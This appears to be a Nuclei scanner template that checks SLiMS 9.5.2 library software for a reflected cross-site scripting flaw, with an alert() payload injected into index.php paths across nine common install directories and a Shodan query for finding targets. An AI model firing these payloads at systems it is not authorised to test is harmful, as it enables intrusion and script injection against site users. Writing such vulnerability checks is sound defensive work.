id: slims-9-xss-index

info:
  name: Senayan Library Management System v9.5.2 (Bulian) - Cross-Site Scripting
  author: nblirwn
  severity: medium
  description: |
    SLiMS 9.5.2 (Bulian) vulnerable to Cross-Site Scripting in index.php. When injected, website will execute the payload repeatedly
  reference:
    - https://github.com/slims/slims9_bulian/issues/185
  metadata:
    verified: true
    max-request: 8
    vendor: slims
    product: senayan_library_management_system
    shodan-query: html:'content="SLIMS'
  tags: senayan,xss,slims

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/perpustakaan/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/slims/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/perpustakaan/slims/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/e-library/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/perpus/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/digilib/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/bulian/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"
      - "{{BaseURL}}/library/index.php/%22--%3E<script>alert(document.domain)</script>/index.php"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'SLiMS'
          - 'name="author'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100950be434019c3433ee5fe17ab0729d42097d6dd8cafa52c1dd517334f96a4efb0221009f942a5e830e9aec899ceafe2e5f93632dfc2eb0124e5c4af739a49c80447270:922c64590222798bb761d5b6d8e72950